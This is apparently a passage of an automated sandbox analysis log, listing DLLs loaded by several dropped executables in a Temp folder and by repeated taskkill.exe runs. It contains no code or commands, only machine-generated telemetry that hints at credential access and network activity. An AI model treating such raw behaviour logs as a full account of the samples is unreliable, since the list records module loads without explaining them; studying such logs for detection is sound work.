Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008758001\a7f098a093.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: textshaping.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: windows.shell.servicehostbuilder.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: ieframe.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: netapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: wkscli.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: mlang.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: policymanager.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: msvcp110_win.dll
Source: C:\Users\user\AppData\Local\Temp\1008763001\e5e907fecb.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: rstrtmgr.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1008764001\3996dc7402.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\1008766001\19cf1f0449.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1008765001\d986826e57.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: mpr.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: framedynos.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: dbghelp.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\taskkill.exe	Section loaded: winsta.dll
